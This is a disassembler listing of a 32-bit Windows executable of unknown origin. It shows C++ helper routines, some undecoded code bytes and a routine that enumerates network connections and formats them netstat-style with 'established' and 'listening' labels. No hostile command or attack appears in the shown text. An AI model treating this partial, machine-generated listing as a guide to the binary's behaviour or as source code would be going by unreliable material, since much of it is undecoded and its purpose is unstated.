loc_4185D0: ; CODE XREF: sub_418590+3Bj
push offset byte_448F40
loc_4185D5: ; CODE XREF: sub_418590+3Ej
lea ecx, [esi+9FD57h]
call sub_4015E1
mov edi, [esp+1C4h+arg_0]
test edi, edi
jz short loc_4185EE
push edi
jmp short loc_4185F3
; ---------------------------------------------------------------------------
loc_4185EE: ; CODE XREF: sub_418590+59j
push offset byte_448F40
loc_4185F3: ; CODE XREF: sub_418590+5Cj
lea ecx, [esi+9FD6Ch]
call sub_4015E1
push edi
lea ecx, [esi+3Eh]
call sub_401384
sub_418590 endp
; ---------------------------------------------------------------------------
db 8Ah
dd 0C0844246h, 468B0F74h, 528E8D43h, 50000001h, 0FE936BE8h
dd 244C8DFFh, 2685128h, 0E8000002h, 7169E021h, 8E92E890h
dd 8E8DFFFEh, 1BBEh, 0FE91BBE8h, 468E8DFFh, 0E800001Bh
dd 0FFFE93BDh, 15FBE8Dh, 0CF8B0000h, 0FE96F3E8h, 0D81D8BFFh
dd 68005118h, 3E8h, 0CF8BD3FFh, 0FE8BB3E8h, 3E868FFh, 0D3FF0000h
dd 8448468Ah, 8A0A75C0h, 7C786h, 74C08400h, 318E8D0Bh
dd 0E80009FCh, 0FFFE8D52h, 3E868h, 8DD3FF00h, 3F99Eh, 58BE8D00h
dd 5300001Ch, 0C6E8CF8Bh, 8BFFFE94h, 8AE7E8CFh, 868AFFFEh
dd 77Eh, 0F74C084h, 71C968Dh, 52530000h, 69E8CF8Bh, 8AFFFE90h
dd 7C786h, 74C08400h, 0F7AE8D1Dh, 8B000007h, 0F3E855CFh
dd 84FFFE98h, 530B75C0h, 0E8CF8B55h, 0FFFE8DB5h, 0AE8D0EEBh
dd 7F7h, 0E855CF8Bh, 0FFFE9255h, 7C7868Ah, 0C0840000h
dd 468A1B74h, 75C08448h, 0CF8B5514h, 0FE98E5E8h, 74C084FFh
dd 0E8006A08h, 7782175Eh, 97E4E890h, 8E8DFFFEh, 168h, 0FE90BDE8h
dd 448D50FFh, 0E8501424h, 0FFFE9904h, 5008C483h, 0FD2D8E8Dh
dd 84C70009h, 1C424h, 0
dd 98D6E800h, 4C8DFFFEh, 84C71024h, 1C024h, 0FFFFFF00h
dd 8ABCE8FFh, 9E8DFFFEh, 8EF5Dh, 67E8CB8Bh, 8DFFFE8Ch
dd 8F2478Eh, 8C5CE800h, 8E8DFFFEh, 1D29h, 0FE9606E8h, 6F8E8DFFh
dd 0E800001Eh, 0FFFE935Dh, 0F2858E8Dh, 70E80008h, 8DFFFE8Eh
dd 9FA138Eh, 8F50E800h, 8E8DFFFEh, 8F3A2h, 0FE9A49E8h
dd 738E8DFFh, 0E80009FAh, 0FFFE96A1h, 4EE8CB8Bh, 8DFFFE92h
dd 9FC428Eh, 97A7E800h, 0CF8BFFFEh, 0FE886EE8h, 0BF8E8DFFh
dd 0E80008F4h, 0FFFE9439h, 0FB058E8Dh, 0B1E80009h, 8DFFFE93h
dd 9FAD38Eh, 9720E800h, 8E8DFFFEh, 9FB93h, 0FE916BE8h
dd 0CD8E8DFFh, 0E80009FBh, 0FFFE984Fh, 0FBFF8E8Dh, 0DAE80009h
dd 8BFFFE93h, 8A41E8CEh, 8E8DFFFEh, 8F270h, 1BE8F88Bh
dd 8BFFFE8Fh, 8F14E8CBh, 0EDE8FFFEh, 90FFFE92h, 69BBE3E8h
dd 42468A71h, 0B74C084h, 1528E8Dh, 97E80000h, 8BFFFE94h
dd 1B8248Ch, 0C78B0000h, 5B5D5E5Fh, 0D8964h, 81000000h
dd 1B4C4h, 8C200h, 3 dup(90909090h), 30h dup(0CCCCCCCCh)
; ---------------------------------------------------------------------------
locret_418940: ; CODE XREF: ___:00402225j
retn
; ---------------------------------------------------------------------------
db 0Fh dup(90h)
db 10h dup(0CCh)
; ---------------------------------------------------------------------------
loc_418960: ; CODE XREF: ___:00401EE2j
mov eax, [esp+0Ch]
push 0
push eax
mov ecx, offset dword_449128
call sub_401771
; ---------------------------------------------------------------------------
retn 10h
; ---------------------------------------------------------------------------
db 0Ch dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_418990 proc near ; CODE XREF: sub_401B1Dj
var_C = byte ptr -0Ch
var_8 = byte ptr -8
var_4 = byte ptr -4
sub esp, 0Ch
lea eax, [esp+0Ch+var_C]
push esi
mov esi, ecx
push eax
call sub_4021DF
mov ecx, [eax]
lea edx, [esp+10h+var_8]
push ecx
push edx
mov ecx, esi
call sub_40162C
mov eax, [eax]
lea ecx, [esp+14h+var_4]
push eax
push ecx
mov ecx, esi
call sub_401438
mov edx, [esi+4]
mov ecx, esi
push edx
call sub_402103
sub_418990 endp
; ---------------------------------------------------------------------------
xor eax, eax
mov [esi+4], eax
mov [esi+8], eax
pop esi
add esp, 0Ch
retn
; ---------------------------------------------------------------------------
db 0Ah dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_418A00 proc near ; CODE XREF: sub_401B0Ej
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push esi
mov esi, ecx
push 0
mov cl, [eax]
push 0
mov [esi], cl
mov ecx, esi
call sub_40139D
sub_418A00 endp
; ---------------------------------------------------------------------------
mov [esi+4], eax
mov dword ptr [esi+8], 0
mov eax, esi
pop esi
retn 4
; ---------------------------------------------------------------------------
db 0Ah dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_418A40 proc near ; CODE XREF: sub_4021FDj
var_C = byte ptr -0Ch
var_8 = byte ptr -8
var_4 = byte ptr -4
sub esp, 0Ch
lea eax, [esp+0Ch+var_C]
push esi
mov esi, ecx
push eax
call sub_401311
mov ecx, [eax]
lea edx, [esp+10h+var_8]
push ecx
push edx
mov ecx, esi
call sub_401F69
mov eax, [eax]
lea ecx, [esp+14h+var_4]
push eax
push ecx
mov ecx, esi
call sub_40155A
mov edx, [esi+4]
mov ecx, esi
push edx
call sub_40207C
sub_418A40 endp
; ---------------------------------------------------------------------------
xor eax, eax
mov [esi+4], eax
mov [esi+8], eax
pop esi
add esp, 0Ch
retn
; ---------------------------------------------------------------------------
db 0Ah dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_418AB0 proc near ; CODE XREF: sub_401F69j
var_4 = byte ptr -4
arg_0 = dword ptr 4
push ecx
mov eax, [ecx+4]
push eax
call sub_4015DC
mov ecx, [eax]
add esp, 4
push ecx
lea ecx, [esp+8+var_4]
call sub_401D98
mov edx, [eax]
mov eax, [esp+4+arg_0]
mov [eax], edx
pop ecx
retn 4
sub_418AB0 endp
; ---------------------------------------------------------------------------
db 0Bh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_418AF0 proc near ; CODE XREF: sub_401311j
var_4 = byte ptr -4
arg_0 = dword ptr 4
push ecx
mov eax, [ecx+4]
lea ecx, [esp+4+var_4]
push eax
call sub_401D98
mov ecx, [eax]
mov eax, [esp+4+arg_0]
mov [eax], ecx
pop ecx
retn 4
sub_418AF0 endp
; ---------------------------------------------------------------------------
db 6 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_418B20 proc near ; CODE XREF: sub_4010B9j
var_C = byte ptr -0Ch
var_8 = byte ptr -8
var_4 = byte ptr -4
sub esp, 0Ch
lea eax, [esp+0Ch+var_C]
push esi
mov esi, ecx
push eax
call sub_401311
mov ecx, [eax]
lea edx, [esp+10h+var_8]
push ecx
push edx
mov ecx, esi
call sub_401F69
mov eax, [eax]
lea ecx, [esp+14h+var_4]
push eax
push ecx
mov ecx, esi
call sub_40155A
pop esi
add esp, 0Ch
retn
sub_418B20 endp
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_418B70 proc near ; CODE XREF: sub_4020A4j
push esi
mov esi, ecx
call sub_401532
mov eax, esi
pop esi
retn
sub_418B70 endp
; ---------------------------------------------------------------------------
db 4 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_418B90 proc near ; CODE XREF: sub_402234j
mov eax, [ecx]
push eax
call sub_401172
add esp, 4
retn
sub_418B90 endp
; ---------------------------------------------------------------------------
db 4 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_418BB0 proc near ; CODE XREF: sub_401361j
push esi
mov esi, ecx
mov eax, [esi]
push eax
call sub_4015DC
mov ecx, [eax]
add esp, 4
mov [esi], ecx
mov eax, esi
pop esi
retn
sub_418BB0 endp
; ---------------------------------------------------------------------------
db 0Ah dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_418BE0 proc near ; CODE XREF: sub_401703j
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push eax
call sub_40223E
neg al
sbb eax, eax
inc eax
retn 4
sub_418BE0 endp
; ---------------------------------------------------------------------------
db 0Eh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_418C10 proc near ; CODE XREF: sub_401438j
var_8 = byte ptr -8
var_4 = byte ptr -4
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = byte ptr 0Ch
sub esp, 8
lea eax, [esp+8+arg_8]
push esi
mov esi, ecx
push eax
lea ecx, [esp+10h+arg_4]
call sub_40184D
test al, al
jz short loc_418C6A
loc_418C28: ; CODE XREF: sub_418C10+47j
lea ecx, [esp+0Ch+var_8]
push 0
push ecx
lea ecx, [esp+14h+arg_4]
call sub_40116D
mov edx, [eax]
lea eax, [esp+0Ch+var_4]
push edx
push eax
mov ecx, esi
call sub_40123F
; ---------------------------------------------------------------------------
lea ecx, [esp+0Ch+arg_8]
push ecx
lea ecx, [esp+10h+arg_4]
call sub_40184D
test al, al
jnz short loc_418C28
mov eax, [esp+0Ch+arg_0]
mov edx, [esp+0Ch+arg_4]
pop esi
mov [eax], edx
add esp, 8
retn 0Ch
; ---------------------------------------------------------------------------
loc_418C6A: ; CODE XREF: sub_418C10+16j
mov eax, [esp+0Ch+arg_0]
mov ecx, [esp+0Ch+arg_4]
pop esi
mov [eax], ecx
add esp, 8
retn 0Ch
sub_418C10 endp
; ---------------------------------------------------------------------------
db 5 dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_418CA0 proc near ; CODE XREF: sub_402103j
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push 1
push eax
call sub_401D6B
sub_418CA0 endp
; ---------------------------------------------------------------------------
retn 4
; ---------------------------------------------------------------------------
db 90h
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_418CC0 proc near ; CODE XREF: sub_40155Aj
var_8 = byte ptr -8
var_4 = byte ptr -4
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = byte ptr 0Ch
sub esp, 8
lea eax, [esp+8+arg_8]
push esi
mov esi, ecx
push eax
lea ecx, [esp+10h+arg_4]
call sub_401703
test al, al
jz short loc_418D1A
loc_418CD8: ; CODE XREF: sub_418CC0+47j
lea ecx, [esp+0Ch+var_8]
push 0
push ecx
lea ecx, [esp+14h+arg_4]
call sub_4012A3
mov edx, [eax]
lea eax, [esp+0Ch+var_4]
push edx
push eax
mov ecx, esi
call sub_40216C
; ---------------------------------------------------------------------------
lea ecx, [esp+0Ch+arg_8]
push ecx
lea ecx, [esp+10h+arg_4]
call sub_401703
test al, al
jnz short loc_418CD8
mov eax, [esp+0Ch+arg_0]
mov edx, [esp+0Ch+arg_4]
pop esi
mov [eax], edx
add esp, 8
retn 0Ch
; ---------------------------------------------------------------------------
loc_418D1A: ; CODE XREF: sub_418CC0+16j
mov eax, [esp+0Ch+arg_0]
mov ecx, [esp+0Ch+arg_4]
pop esi
mov [eax], ecx
add esp, 8
retn 0Ch
sub_418CC0 endp
; ---------------------------------------------------------------------------
db 5 dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_418D50 proc near ; CODE XREF: sub_40139Dj
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push esi
push edi
push 0Ch
call sub_401C67
sub_418D50 endp
; ---------------------------------------------------------------------------
mov edi, [esp+0Ch]
mov esi, eax
test edi, edi
jnz short loc_418D65
mov edi, esi
loc_418D65: ; CODE XREF: ___:00418D61j
push esi
call sub_4015DC
mov [eax], edi
mov edi, [esp+14h]
add esp, 4
test edi, edi
jnz short loc_418D7A
mov edi, esi
loc_418D7A: ; CODE XREF: ___:00418D76j
push esi
call sub_401B31
add esp, 4
mov [eax], edi
mov eax, esi
pop edi
pop esi
retn 8
; ---------------------------------------------------------------------------
db 4 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_418DA0 proc near ; CODE XREF: sub_40207Cj
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push 1
push eax
call sub_4013FC
sub_418DA0 endp
; ---------------------------------------------------------------------------
retn 4
; ---------------------------------------------------------------------------
db 90h
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_418DC0 proc near ; CODE XREF: sub_4015DCj
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
retn
sub_418DC0 endp
; ---------------------------------------------------------------------------
db 0Bh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_418DE0 proc near ; CODE XREF: sub_401172j
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
add eax, 8
retn
sub_418DE0 endp
; ---------------------------------------------------------------------------
db 8 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_418E00 proc near ; CODE XREF: sub_401532j
mov eax, ecx
retn
sub_418E00 endp
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_418E20 proc near ; CODE XREF: sub_401D98j
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push esi
mov esi, ecx
push eax
call sub_4020FE
mov eax, esi
pop esi
retn 4
sub_418E20 endp
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_418E50 proc near ; CODE XREF: sub_40223Ej
arg_0 = dword ptr 4
mov edx, [esp+arg_0]
mov eax, [ecx]
push esi
xor ecx, ecx
mov esi, [edx]
cmp eax, esi
pop esi
setz cl
mov al, cl
retn 4
sub_418E50 endp
; ---------------------------------------------------------------------------
db 0Ah dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_418E80 proc near ; CODE XREF: sub_40123Fj
var_4 = byte ptr -4
arg_4 = byte ptr 8
push ecx
push ebx
push esi
push edi
mov edi, ecx
lea eax, [esp+10h+var_4]
push 0
push eax
lea ecx, [esp+18h+arg_4]
call sub_40116D
mov ecx, eax
call sub_401C9E
mov esi, eax
push esi
call sub_401A96
push esi
mov ebx, eax
call sub_401C6C
mov ecx, [eax]
push ecx
call sub_401A96
mov edx, [ebx]
push esi
mov [eax], edx
call sub_401C6C
push esi
mov ebx, eax
call sub_401A96
mov eax, [eax]
push eax
call sub_401C6C
mov ecx, [ebx]
push esi
mov [eax], ecx
call sub_401208
add esp, 1Ch
mov ecx, edi
push eax
call sub_40176C
push esi
mov ecx, edi
call sub_402103
sub_418E80 endp
; ---------------------------------------------------------------------------
mov eax, [edi+8]
mov edx, [esp+18h]
dec eax
mov [edi+8], eax
mov eax, [esp+14h]
pop edi
pop esi
mov [eax], edx
pop ebx
pop ecx
retn 8
; ---------------------------------------------------------------------------
db 0Ch dup(90h)
db 30h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_418F40 proc near ; CODE XREF: sub_401D6Bj
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push eax
call sub_437AD2
sub_418F40 endp
; ---------------------------------------------------------------------------
pop ecx
retn 8
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_418F60 proc near ; CODE XREF: sub_40116Dj
arg_0 = dword ptr 4
push esi
mov esi, [ecx]
call sub_401F28
mov eax, [esp+4+arg_0]
mov [eax], esi
pop esi
retn 8
sub_418F60 endp
; ---------------------------------------------------------------------------
db 0Eh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_418F90 proc near ; CODE XREF: sub_40216Cj
var_4 = byte ptr -4
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push ecx
push ebx
push esi
push edi
mov edi, ecx
lea eax, [esp+10h+var_4]
push 0
push eax
lea ecx, [esp+18h+arg_4]
call sub_4012A3
mov ecx, eax
call sub_401EEC
mov esi, eax
push esi
call sub_4015DC
push esi
mov ebx, eax
call sub_401B31
mov ecx, [eax]
push ecx
call sub_4015DC
mov edx, [ebx]
push esi
mov [eax], edx
call sub_401B31
push esi
mov ebx, eax
call sub_4015DC
mov eax, [eax]
push eax
call sub_401B31
mov ecx, [ebx]
push esi
mov [eax], ecx
call sub_401172
add esp, 1Ch
mov ecx, edi
push eax
call sub_4018D4
push esi
mov ecx, edi
call sub_40207C
sub_418F90 endp
; ---------------------------------------------------------------------------
mov eax, [edi+8]
mov edx, [esp+18h]
dec eax
mov [edi+8], eax
mov eax, [esp+14h]
pop edi
pop esi
mov [eax], edx
pop ebx
pop ecx
retn 8
; ---------------------------------------------------------------------------
db 0Ch dup(90h)
db 30h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_419050 proc near ; CODE XREF: sub_401B31j
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
add eax, 4
retn
sub_419050 endp
; ---------------------------------------------------------------------------
db 8 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_419070 proc near ; CODE XREF: sub_401C67j
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push 0
push eax
call sub_401D2A
sub_419070 endp
; ---------------------------------------------------------------------------
add esp, 8
retn 4
; ---------------------------------------------------------------------------
db 0Eh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_4190A0 proc near ; CODE XREF: sub_4013FCj
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push eax
call sub_437AD2
sub_4190A0 endp
; ---------------------------------------------------------------------------
pop ecx
retn 8
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4190C0 proc near ; CODE XREF: sub_4020FEj
arg_0 = dword ptr 4
mov eax, ecx
mov ecx, [esp+arg_0]
mov [eax], ecx
retn 4
sub_4190C0 endp
; ---------------------------------------------------------------------------
db 5 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4190E0 proc near ; CODE XREF: sub_4012A3j
arg_0 = dword ptr 4
push esi
mov esi, [ecx]
call sub_401361
mov eax, [esp+4+arg_0]
mov [eax], esi
pop esi
retn 8
sub_4190E0 endp
; ---------------------------------------------------------------------------
db 0Eh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_419110 proc near ; CODE XREF: sub_40176Cj
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push eax
call j_nullsub_8
pop ecx
retn 4
sub_419110 endp
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_419130 proc near ; CODE XREF: sub_4018D4j
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push eax
call j_nullsub_4
pop ecx
retn 4
sub_419130 endp
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_419150 proc near ; CODE XREF: sub_401EECj
mov eax, [ecx]
retn
sub_419150 endp
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 10h dup(0CCh)
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_8. PRESS KEYPAD "+" TO EXPAND]
db 0Fh dup(90h)
db 10h dup(0CCh)
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_4. PRESS KEYPAD "+" TO EXPAND]
db 0Fh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_4191B0 proc near ; CODE XREF: sub_402121j
var_14 = dword ptr -14h
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_4191B0
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 8
push esi
mov esi, ecx
mov [esp+18h+var_14], esi
call sub_4011B3
lea ecx, [esi+4]
call sub_401753
push 9
mov [esp+1Ch+var_4], 0
mov dword ptr [esi], offset off_43F074
call sub_437AEA
sub_4191B0 endp
; ---------------------------------------------------------------------------
add esp, 4
mov [esp+8], eax
test eax, eax
mov byte ptr [esp+14h], 1
jz short loc_41921D
mov ecx, eax
call sub_401F2D
; ---------------------------------------------------------------------------
mov [esi+32h], eax
mov eax, esi
pop esi
mov ecx, [esp+8]
mov large fs:0, ecx
add esp, 14h
retn
; ---------------------------------------------------------------------------
loc_41921D: ; CODE XREF: ___:004191FFj
mov ecx, [esp+0Ch]
xor eax, eax
mov [esi+32h], eax
mov eax, esi
pop esi
mov large fs:0, ecx
add esp, 14h
retn
; ---------------------------------------------------------------------------
db 0Ch dup(90h)
db 30h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_419270 proc near ; CODE XREF: sub_401F2Dj
push 0FFFFFFFFh
push offset SEH_419270
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push esi
mov esi, ecx
push 14h
call sub_437AEA
sub_419270 endp
; ---------------------------------------------------------------------------
add esp, 4
mov [esp+4], eax
test eax, eax
mov dword ptr [esp+10h], 0
jz short loc_4192BE
mov ecx, eax
call sub_4015C3
mov [esi], eax
mov eax, esi
pop esi
mov ecx, [esp+4]
mov large fs:0, ecx
add esp, 10h
retn
; ---------------------------------------------------------------------------
loc_4192BE: ; CODE XREF: ___:004192A1j
mov ecx, [esp+8]
xor eax, eax
mov [esi], eax
mov eax, esi
pop esi
mov large fs:0, ecx
add esp, 10h
retn
; ---------------------------------------------------------------------------
db 0Ch dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_419300 proc near ; CODE XREF: sub_4015C3j
mov eax, ecx
retn
sub_419300 endp
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_419320 proc near ; CODE XREF: sub_401974j
var_24 = byte ptr -24h
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_419320
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 18h
push esi
push 0
push 14h
push 1
push 14h
push 13h
push 14h
push 5
lea eax, [esp+44h+var_24]
push 0Eh
mov esi, ecx
push eax
call sub_4019C4
add esp, 24h
push esi
mov ecx, eax
mov [esp+2Ch+var_4], 0
call sub_40168B
add esi, 4
push eax
push esi
mov ecx, offset dword_449128
call sub_40159B
sub_419320 endp
; ---------------------------------------------------------------------------
lea ecx, [esp+4]
mov dword ptr [esp+24h], 0FFFFFFFFh
call sub_401226
mov ecx, [esp+1Ch]
pop esi
mov large fs:0, ecx
add esp, 24h
retn
; ---------------------------------------------------------------------------
db 8 dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4193C0 proc near ; CODE XREF: sub_40111Dj
var_2A4 = dword ptr -2A4h
var_2A0 = dword ptr -2A0h
var_29C = dword ptr -29Ch
var_298 = dword ptr -298h
var_294 = dword ptr -294h
var_290 = dword ptr -290h
var_28C = byte ptr -28Ch
var_274 = byte ptr -274h
var_25C = byte ptr -25Ch
var_23C = byte ptr -23Ch
var_224 = byte ptr -224h
var_199 = byte ptr -199h
var_198 = byte ptr -198h
var_119 = byte ptr -119h
var_118 = byte ptr -118h
var_99 = byte ptr -99h
var_98 = byte ptr -98h
var_D = byte ptr -0Dh
var_C = dword ptr -0Ch
var_4 = dword ptr -4
arg_0 = dword ptr 4
push 0FFFFFFFFh
push offset SEH_4193C0
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 298h
push ebx
mov ebx, ecx
push esi
mov [esp+2ACh+var_2A4], ebx
lea ecx, [ebx+4]
call sub_4017EE
mov esi, [esp+2ACh+arg_0]
push eax
lea ecx, [esi+7Eh]
call sub_4012EE
test eax, eax
jnz loc_419766
push ebp
push edi
push offset asc_444600 ; " "
lea eax, [esp+2B8h+var_23C]
push 1
push eax
mov ecx, esi
call sub_4016B8
mov ecx, eax
call sub_40168B
push eax
nop
call near ptr 77C1BF18h
add esp, 4
lea ecx, [esp+2B4h+var_23C]
mov [ebx+36h], eax
call sub_401226
mov ecx, esi
call sub_4017EE
push eax
lea ecx, [esp+2B8h+var_274]
call sub_401870
xor ebp, ebp
push offset dword_444D78
lea ecx, [esp+2B8h+var_274]
mov [esp+2B8h+var_4], ebp
mov [esp+2B8h+var_2A0], ebp
call sub_4013ED
test eax, eax
jz short loc_41946F
mov [esp+2B4h+var_2A0], 2
jmp short loc_419489
; ---------------------------------------------------------------------------
loc_41946F: ; CODE XREF: sub_4193C0+A3j
push offset dword_444D74
lea ecx, [esp+2B8h+var_274]
call sub_4013ED
test eax, eax
jz short loc_419489
mov [esp+2B4h+var_2A0], 1
loc_419489: ; CODE XREF: sub_4193C0+ADj
; sub_4193C0+BFj
mov ecx, [ebx+32h]
mov edi, offset dword_444D68
xor eax, eax
mov edx, [ecx]
or ecx, 0FFFFFFFFh
add edx, 2
repne scasb
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, edx
shr ecx, 2
rep movsd
mov ecx, eax
and ecx, 3
rep movsb
mov ecx, [ebx+32h]
mov edx, [ecx]
mov byte ptr [edx], 1
mov eax, [ebx+32h]
mov [esp+2B4h+var_119], 0
mov [esp+2B4h+var_99], 0
mov [esp+2B4h+var_D], 0
mov [esp+2B4h+var_199], 0
mov eax, [eax]
cmp byte ptr [eax], 0
jnz short loc_419518
mov esi, dword_511AA8
add eax, 2
push offset dword_444D68
push eax
call esi ; _stricmp
add esp, 8
test eax, eax
jz short loc_419518
mov ecx, [ebx+32h]
push offset off_444D64
mov edx, [ecx]
add edx, 2
push edx
call esi ; _stricmp
add esp, 8
test eax, eax
jnz loc_41974C
loc_419518: ; CODE XREF: sub_4193C0+123j
; sub_4193C0+13Bj
push 0C00h
mov [esp+2B8h+var_294], 0C00h
nop
call near ptr 77C2C407h
add esp, 4
mov esi, eax
lea eax, [esp+2B4h+var_294]
mov [esp+2B4h+var_29C], esi
push 1
push eax
push esi
mov [esi], ebp
call sub_437F50
; ---------------------------------------------------------------------------
mov eax, [esi]
mov [esp+2B4h+var_298], ebp
cmp eax, ebp
jle loc_419742
lea ebp, [esi+14h]
loc_419554: ; CODE XREF: sub_4193C0+37Cj
cmp dword ptr [ebp-10h], 2
jnz short loc_419568
mov ecx, [ebx+32h]
mov edx, [ecx]
cmp byte ptr [edx], 0
jz loc_41972C
loc_419568: ; CODE XREF: sub_4193C0+198j
mov ax, [ebp-8]
mov esi, dword_511C5C
push eax
call esi ; ntohs
mov cx, [ebp+0]
mov [esp+2B4h+var_290], eax
push ecx
call esi ; ntohs
mov esi, [esp+2B4h+var_2A4]
mov ebx, eax
mov eax, [ebp-0Ch]
push 1
lea edx, [esp+2B8h+var_198]
push 7Fh
push edx
push eax
mov ecx, esi
call sub_40147E
mov edx, [ebp-4]
push 0
lea ecx, [esp+2B8h+var_118]
push 7Fh
push ecx
push edx
mov ecx, esi
call sub_40147E
mov eax, [ebp-10h]
sub eax, 2
jz short loc_4195CC
sub eax, 3
jnz short loc_4195F2
lea edx, [esp+2B4h+var_25C]
mov edi, offset aEstablished ; "established"
jmp short loc_4195D5
; ---------------------------------------------------------------------------
loc_4195CC: ; CODE XREF: sub_4193C0+1FAj
lea edx, [esp+2B4h+var_25C]
mov edi, offset aListening ; "listening"
loc_4195D5: ; CODE XREF: sub_4193C0+20Aj
or ecx, 0FFFFFFFFh
xor eax, eax
repne scasb
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, edx
shr ecx, 2
rep movsd
mov ecx, eax
and ecx, 3
rep movsb
loc_4195F2: ; CODE XREF: sub_4193C0+1FFj
mov ecx, 23h
xor eax, eax
lea edi, [esp+2B4h+var_98]
rep stosd
mov ecx, 23h
lea edi, [esp+2B4h+var_224]
rep stosd
cmp dword ptr [ebp-10h], 2
jnz short loc_419618
xor ebx, ebx
loc_419618: ; CODE XREF: sub_4193C0+254j
mov esi, [esp+2B4h+var_290]
lea ecx, [esp+2B4h+var_198]
and esi, 0FFFFh
lea edx, [esp+2B4h+var_98]
push esi
push ecx
push offset aSD_1 ; "%s:%d"
push 8Bh
push edx
call near ptr 77C3FA76h
nop
mov edi, ebx
lea eax, [esp+2C8h+var_118]
and edi, 0FFFFh
lea ecx, [esp+2C8h+var_224]
push edi
push eax
push offset aSD_1 ; "%s:%d"
push 8Bh
push ecx
call near ptr 77C3FA76h
nop
add esp, 28h
lea ecx, [esp+2B4h+var_28C]
call sub_40142E
mov eax, [esp+2B4h+var_2A0]
mov byte ptr [esp+2B4h+var_4], 1
test bx, bx
jnz short loc_4196AE
cmp eax, 1
jz loc_419713
mov edx, [esp+2B4h+var_2A4]
mov eax, [edx+36h]
test eax, eax
jz short loc_4196A1
cmp eax, esi
jnz short loc_419713
loc_4196A1: ; CODE XREF: sub_4193C0+2DBj
lea eax, [esp+2B4h+var_25C]
push esi
push eax
push offset aSD_0 ; "%s: %d"
jmp short loc_4196D4
; ---------------------------------------------------------------------------
